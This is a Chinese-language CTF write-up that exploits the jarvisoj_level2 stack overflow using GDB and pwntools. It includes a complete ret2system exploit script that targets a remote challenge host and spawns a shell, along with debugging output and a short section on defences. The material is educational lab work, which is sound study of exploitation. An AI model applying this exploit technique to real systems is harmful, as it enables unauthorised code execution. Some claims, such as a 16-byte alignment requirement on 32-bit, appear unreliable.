告别盲打:用GDB和Python-pwntools动态调试分析jarvisoj_level2的栈溢出漏洞
逆向工程实战用GDB与pwntools解剖jarvisoj_level2栈溢出漏洞在二进制安全领域栈溢出漏洞一直是攻防演练中的经典课题。今天我们将以jarvisoj_level2这道CTF题目为蓝本深入探讨如何通过GDB动态调试与pwntools脚本的完美配合实现从漏洞发现到利用的全过程解析。不同于静态分析的纸上谈兵我们将聚焦于运行时内存布局的实时观察和交互式攻击验证让漏洞利用的每个环节都变得可视化、可验证。1. 环境准备与初步分析首先需要搭建一个适合动态调试的实验环境。推荐使用Ubuntu 18.04 LTS系统并安装以下工具sudo apt update sudo apt install -y gdb gdb-peda python3-pip pip3 install pwntools获取题目文件后先用基础命令检查二进制文件属性file level2 checksec --filelevel2典型输出结果如下属性值文件类型ELF 32-bit LSBNX保护EnabledCanaryDisabledPIEDisabledRELROPartial关键发现32位程序使用动态链接开启NX不可执行栈排除了shellcode直接注入的可能未启用地址随机化PIE disabled这对我们定位关键地址非常有利2. 静态分析与漏洞定位使用IDA Pro进行反编译重点关注vulnerable_functionint vulnerable_function() { char buf[136]; // 实际分配0x88字节 system(echo Input:); return read(0, buf, 0x100); // 允许读取256字节 }这里出现了典型的栈溢出漏洞缓冲区大小136字节0x88读取长度256字节0x100溢出空间256 - 136 120字节通过计算EBP到返回地址的偏移EBP位于buf136返回地址位于EBP4所以padding长度 136 4 140字节3. GDB动态调试实战启动GDB并设置关键断点gdb -q ./level2 (gdb) b *vulnerable_function0x29 # 停在read调用前 (gdb) b *vulnerable_function0x3a # 停在read返回后运行程序并在第一个断点暂停时检查栈布局(gdb) x/40wx $esp 0xffffd570: 0x00000000 0xffffd58c 0x00000100 0xf7fb5000 0xffffd580: 0xf7fb5000 0xffffd5a8 0x08048496 0x00000001 0xffffd590: 0xffffd654 0xffffd5bc 0x00000000 0xf7ffd000关键内存区域buf起始地址0xffffd58c保存的EBP0xffffd614返回地址位置0xffffd618输入140个A后观察栈变化from pwn import * payload cyclic(140) io process(./level2) io.send(payload)在第二个断点处检查返回地址是否被覆盖(gdb) x/wx 0xffffd618 0xffffd618: 0x6161616b # kaaa的十六进制通过cyclic_find可以计算出精确的padding长度 from pwn import * cyclic_find(0x6161616b) 1404. 构建ROP链与漏洞利用由于开启了NX保护我们采用ret2libc技术。首先确定关键地址# 获取system和/bin/sh地址 (gdb) p system $1 {text variable, no debug info} 0xf7e13660 system (gdb) find system,9999999,/bin/sh 0xf7f4ea0b但这种方法依赖运行时的libc地址。更可靠的方式是利用程序已有的PLT项符号地址systemplt0x08048320/bin/sh0x0804A024构造payload结构[140字节padding] [system地址] [返回地址] [/bin/sh地址]完整利用脚本from pwn import * context(archi386, oslinux) io remote(node5.buuoj.cn, 29654) system_plt 0x08048320 binsh_addr 0x0804A024 ret_addr 0x08048480 # main函数地址用于优雅退出 payload flat( bA*140, p32(system_plt), p32(ret_addr), p32(binsh_addr) ) io.sendline(payload) io.interactive()5. 调试技巧与问题排查在实际操作中可能会遇到以下问题及解决方案问题1payload发送后程序崩溃检查栈对齐32位系统下system调用要求16字节对齐解决方案在payload前添加ret gadget调整栈指针ret_gadget 0x0804843e # 使用ROPgadget查找 payload flat( bA*140, p32(ret_gadget), p32(system_plt), p32(ret_addr), p32(binsh_addr) )问题2远程环境与本地差异使用ldd命令比较libc版本通过泄露技术动态获取地址ldd ./level2 linux-gate.so.1 (0xf7fd7000) libc.so.6 /lib32/libc.so.6 (0xf7e0a000) /lib/ld-linux.so.2 (0xf7fd9000)问题3交互式输入处理使用pwntools的sendlineafter确保时序正确添加适当延迟处理网络波动io.sendlineafter(bInput:, payload)6. 扩展思考与防御措施理解漏洞原理后我们更应关注如何防御此类攻击现代防护技术对比技术防护机制绕过难度ASLR地址随机化中Stack Canary栈保护值高RELRO Full防止GOT表篡改极高PIE代码段随机化高开发安全建议严格限制输入长度使用安全的字符串处理函数启用所有编译期保护选项定期进行安全审计通过这次实战我们不仅掌握了栈溢出漏洞的利用技术更重要的是理解了动态调试在漏洞分析中的关键作用。记住真正的安全研究不在于攻击本身而在于通过理解漏洞本质来构建更安全的系统。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2470152.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!